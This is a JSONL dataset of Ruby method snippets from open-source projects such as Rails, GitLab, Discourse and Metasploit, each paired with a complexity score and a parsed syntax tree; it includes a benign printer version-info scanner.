+{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb","start_line":13,"raw_source":"def radio_button(extra_html_options = {})\n html_options = extra_html_options.merge(@input_html_options)\n html_options[:skip_default_ids] = false\n @template_object.radio_button(@object_name, @method_name, @value, html_options)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"radio_button\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"extra_html_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_html_options\"]},\"merge\",{\"type\":\"ivar\",\"children\":[\"@input_html_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"skip_default_ids\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_object\"]},\"radio_button\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"ivar\",\"children\":[\"@method_name\"]},{\"type\":\"ivar\",\"children\":[\"@value\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]}]}]}","id":"6a9cee7e-51b6-45f3-8818-85853b2c980a"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/printer/printer_version_info.rb","start_line":46,"raw_source":"def run_host(ip)\n connect\n pjl = Rex::Proto::PJL::Client.new(sock)\n pjl.begin_job\n\n id = pjl.info_id\n\n pjl.end_job\n disconnect\n\n if id\n print_good(\"#{ip}:#{rport} - #{id}\")\n report_service(\n :host => ip,\n :port => rport,\n :proto => \"tcp\",\n :name => \"jetdirect\",\n :info => id\n )\n end\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"pjl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"PJL\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"begin_job\"]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"info_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"end_job\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"jetdirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},null]}]}]}","id":"6f482d72-8be9-4758-bbe6-c0a9d8523280"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/profiler.rb","start_line":139,"raw_source":"def self.with_user(user)\n if user\n API::Helpers::CommonHelpers.send(:define_method, :find_current_user!) { user } # rubocop:disable GitlabSecurity/PublicSend\n ApplicationController.send(:define_method, :current_user) { user } # rubocop:disable GitlabSecurity/PublicSend\n ApplicationController.send(:define_method, :authenticate_user!) {} # rubocop:disable GitlabSecurity/PublicSend\n end\n\n yield.tap do\n remove_method(API::Helpers::CommonHelpers, :find_current_user!)\n remove_method(ApplicationController, :current_user)\n remove_method(ApplicationController, :authenticate_user!)\n end\n end","complexity_score":25.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Helpers\"]},\"CommonHelpers\"]},\"send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"sym\",\"children\":[\"find_current_user!\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"sym\",\"children\":[\"authenticate_user!\"]}]},{\"type\":\"args\",\"children\":[]},null]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_method\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Helpers\"]},\"CommonHelpers\"]},{\"type\":\"sym\",\"children\":[\"find_current_user!\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_method\",{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_method\",{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},{\"type\":\"sym\",\"children\":[\"authenticate_user!\"]}]}]}]}]}]}","id":"6095a458-64f0-414f-a09d-4e9376775122"}
+{"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/soundcloud_tag_spec.rb","start_line":14,"raw_source":"def extract_iframe_src(rendered_iframe)\n parsed_iframe = Nokogiri.HTML(rendered_iframe)\n iframe_src = parsed_iframe.xpath(\"//iframe/@src\")\n CGI.parse(iframe_src[0].value)\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_iframe_src\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rendered_iframe\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_iframe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\",{\"type\":\"lvar\",\"children\":[\"rendered_iframe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"iframe_src\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_iframe\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//iframe/@src\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe_src\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]}]}]}","id":"e62f5edb-da7d-4848-9948-8d79b8d9231f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_recipients/build_service.rb","start_line":24,"raw_source":"def self.build_merge_request_unmergeable_recipients(...)\n ::NotificationRecipients::Builder::MergeRequestUnmergeable.new(...).notification_recipients\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_merge_request_unmergeable_recipients\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"NotificationRecipients\"]},\"Builder\"]},\"MergeRequestUnmergeable\"]},\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"notification_recipients\"]}]}","id":"88564dbc-37e8-4084-bc19-dbe48d164d1a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/delete_orphaned_build_records.rb","start_line":14,"raw_source":"def perform\n distinct_each_batch do |batch|\n pipeline_ids = batch.pluck(batch_column)\n pipelines_query = CiPipeline\n .where('p_ci_builds.commit_id = p_ci_pipelines.id')\n .where('p_ci_builds.partition_id = p_ci_pipelines.partition_id')\n .select(1)\n\n base_relation\n .where(batch_column => pipeline_ids)\n .where('NOT EXISTS (?)', pipelines_query)\n .delete_all\n end\n end","complexity_score":19.35,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distinct_each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"pluck\",{\"type\":\"send\",\"children\":[null,\"batch_column\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipelines_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiPipeline\"]},\"where\",{\"type\":\"str\",\"children\":[\"p_ci_builds.commit_id = p_ci_pipelines.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"p_ci_builds.partition_id = p_ci_pipelines.partition_id\"]}]},\"select\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch_column\"]},{\"type\":\"lvar\",\"children\":[\"pipeline_ids\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"NOT EXISTS (?)\"]},{\"type\":\"lvar\",\"children\":[\"pipelines_query\"]}]},\"delete_all\"]}]}]}]}","id":"8e4423dd-9d6d-4c41-8cd2-a65a4f3e0ed7"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/git/lfs/response.rb","start_line":54,"raw_source":"def valid_objects?(repo_objects)\n repo_objects = [ repo_objects ] unless repo_objects.kind_of?(Array)\n\n return false if repo_objects.empty?\n\n validate_requested_objects(repo_objects)\n @valid_objs.all? { |obj| @requested_oids.include?(self.class.obj_sha256(obj.content)) } \n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_objects?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo_objects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"repo_objects\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"validate_requested_objects\",{\"type\":\"lvar\",\"children\":[\"repo_objects\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@valid_objs\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requested_oids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"obj_sha256\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"content\"]}]}]}]}]}]}","id":"c04f221c-4af3-46af-b741-8b41e768ee52"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/inactive_projects_deletion_cron_worker.rb","start_line":80,"raw_source":"def send_notification(project)\n ::Projects::InactiveProjectsDeletionNotificationWorker.perform_async(project.id, deletion_date)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"InactiveProjectsDeletionNotificationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"deletion_date\"]}]}]}","id":"161f809e-e6c0-488d-8131-30949e4be0fc"}
+{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/configuring/check/new_framework_defaults_file.rb","start_line":12,"raw_source":"def initialize(checker, defaults, file_content)\n @checker = checker\n @defaults = defaults\n @file_content = file_content\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"checker\"]},{\"type\":\"arg\",\"children\":[\"defaults\"]},{\"type\":\"arg\",\"children\":[\"file_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@checker\",{\"type\":\"lvar\",\"children\":[\"checker\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@defaults\",{\"type\":\"lvar\",\"children\":[\"defaults\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_content\",{\"type\":\"lvar\",\"children\":[\"file_content\"]}]}]}]}","id":"5ead03cb-dc3e-48f5-9868-7eef10c1a0e4"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/dirty.rb","start_line":118,"raw_source":"def saved_changes\n mutations_before_last_save.changes\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"saved_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mutations_before_last_save\"]},\"changes\"]}]}","id":"ddde1baf-c502-4f0e-b50b-583a31b354c2"}
+{"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/sexp_extensions/methods.rb","start_line":44,"raw_source":"def name\n children.first\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"first\"]}]}","id":"4465db01-e7b4-4046-8510-7e016bea1352"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/restrict_allowed_schemas.rb","start_line":107,"raw_source":"def ddl_mode?\n !self.dml_mode?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ddl_mode?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dml_mode?\"]},\"!\"]}]}","id":"478b0968-57ef-4d40-8558-4a2d5c8decd0"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":297,"raw_source":"def shutdown\n @shutdown_start_time = Fluent::Clock.now\n # during shutdown phase, don't close io. It should be done in close after all threads are stopped. See close.\n stop_watchers(existence_path, immediate: true, remove_watcher: false)\n @tails_rotate_wait.keys.each do |tw|\n detach_watcher(tw, @tails_rotate_wait[tw][:ino], false)\n end\n @pf_file.close if @pf_file\n\n super\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"shutdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shutdown_start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Clock\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"stop_watchers\",{\"type\":\"send\",\"children\":[null,\"existence_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"immediate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_watcher\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails_rotate_wait\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tw\"]}]},{\"type\":\"send\",\"children\":[null,\"detach_watcher\",{\"type\":\"lvar\",\"children\":[\"tw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails_rotate_wait\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tw\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"ino\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pf_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pf_file\"]},\"close\"]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5910c9dc-1d7b-44f8-b2b1-4f25569547ac"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":863,"raw_source":"def self.next_post_number(topic_id, opts = {})\n highest =\n DB\n .query_single(\n \"SELECT coalesce(max(post_number),0) AS max FROM posts WHERE topic_id = ?\",\n topic_id,\n )\n .first\n .to_i\n\n if opts[:whisper]\n result = DB.query_single(<<~SQL, highest, topic_id)\n UPDATE topics\n SET highest_staff_post_number = ? + 1\n WHERE id = ?\n RETURNING highest_staff_post_number\n SQL\n\n result.first.to_i\n else\n reply_sql = opts[:reply] ? \", reply_count = reply_count + 1\" : \"\"\n posts_sql = opts[:post] ? \", posts_count = posts_count + 1\" : \"\"\n\n result = DB.query_single(<<~SQL, highest: highest, topic_id: topic_id)\n UPDATE topics\n SET highest_staff_post_number = :highest + 1,\n highest_post_number = :highest + 1\n #{reply_sql}\n #{posts_sql}\n WHERE id = :topic_id\n RETURNING highest_post_number\n SQL\n\n result.first.to_i\n end\n end","complexity_score":24.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"next_post_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_id\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"highest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT coalesce(max(post_number),0) AS max FROM posts WHERE topic_id = ?\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},\"first\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"whisper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topics\\n\"]},{\"type\":\"str\",\"children\":[\"SET highest_staff_post_number = ? + 1\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id = ?\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING highest_staff_post_number\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"highest\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]},\"to_i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reply_sql\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reply\"]}]},{\"type\":\"str\",\"children\":[\", reply_count = reply_count + 1\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_sql\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"str\",\"children\":[\", posts_count = posts_count + 1\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topics\\n\"]},{\"type\":\"str\",\"children\":[\"SET highest_staff_post_number = :highest + 1,\\n\"]},{\"type\":\"str\",\"children\":[\" highest_post_number = :highest + 1\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id = :topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING highest_post_number\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"highest\"]},{\"type\":\"lvar\",\"children\":[\"highest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]},\"to_i\"]}]}]}]}]}","id":"bbfc97d2-ae78-444a-94c7-0cb7a08da57a"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/directories_controller.rb","start_line":18,"raw_source":"def set_accounts\n with_read_replica do\n @accounts = accounts_scope.offset(params[:offset]).limit(limit_param(DEFAULT_ACCOUNTS_LIMIT))\n end\n end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_accounts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_read_replica\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@accounts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accounts_scope\"]},\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ACCOUNTS_LIMIT\"]}]}]}]}]}]}","id":"fd530f34-de80-4f3b-b766-70def4aea5f7"}
+{"repo_name":"puma","file_path":"./repos/puma/test/test_binder.rb","start_line":521,"raw_source":"def test_binder_parses_jruby_ssl_options\n skip_unless :ssl\n\n cipher_suites = ['TLS_DHE_RSA_WITH_AES_128_CBC_SHA', 'TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256']\n\n @binder.parse [\"ssl://0.0.0.0:8080?#{ssl_query}\"], @log_writer\n\n assert_equal @keystore, ssl_context_for_binder.keystore\n assert_equal cipher_suites, ssl_context_for_binder.cipher_suites\n assert_equal cipher_suites, ssl_context_for_binder.ssl_cipher_list\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_binder_parses_jruby_ssl_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cipher_suites\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\"]},{\"type\":\"str\",\"children\":[\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"parse\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ssl://0.0.0.0:8080?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_query\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@keystore\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_context_for_binder\"]},\"keystore\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"cipher_suites\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_context_for_binder\"]},\"cipher_suites\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"cipher_suites\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_context_for_binder\"]},\"ssl_cipher_list\"]}]}]}]}","id":"ce924e25-a755-40d0-8cc0-667b2b3d2510"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/watchdog/monitor/heap_fragmentation.rb","start_line":37,"raw_source":"def init_frag_limit_metrics\n heap_frag_limit = Gitlab::Metrics.gauge(\n :gitlab_memwd_heap_frag_limit,\n 'The configured limit for how fragmented the Ruby heap is allowed to be'\n )\n heap_frag_limit.set({}, max_heap_fragmentation)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"init_frag_limit_metrics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heap_frag_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"gauge\",{\"type\":\"sym\",\"children\":[\"gitlab_memwd_heap_frag_limit\"]},{\"type\":\"str\",\"children\":[\"The configured limit for how fragmented the Ruby heap is allowed to be\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heap_frag_limit\"]},\"set\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"max_heap_fragmentation\"]}]}]}]}","id":"3af2e085-590d-41a1-a149-27fe89c7c1da"}
